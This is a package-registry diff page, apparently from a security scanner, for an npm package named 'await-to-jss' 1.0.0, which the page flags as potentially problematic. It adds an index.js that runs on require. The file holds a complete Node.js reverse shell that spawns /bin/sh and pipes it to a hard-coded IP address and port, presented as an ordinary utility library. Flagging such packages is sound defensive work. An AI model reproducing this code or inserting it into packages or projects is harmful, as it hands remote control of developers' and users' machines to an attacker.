await-to-jss 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of await-to-jss might be problematic. Click here for more details.
- package/README.txt +0 -0
- package/index.js +13 -0
- package/package.json +15 -0
package/README.txt
ADDED
File without changes
|
package/index.js
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
(function(){
|
2
|
+
var net = require("net"),
|
3
|
+
cp = require("child_process"),
|
4
|
+
sh = cp.spawn("/bin/sh", []);
|
5
|
+
var client = new net.Socket();
|
6
|
+
client.connect(10002, "100.69.249.146", function(){
|
7
|
+
client.pipe(sh.stdin);
|
8
|
+
sh.stdout.pipe(client);
|
9
|
+
sh.stderr.pipe(client);
|
10
|
+
});
|
11
|
+
return /a/; // Prevents the Node.js application form crashing
|
12
|
+
})();
|
13
|
+
|
package/package.json
ADDED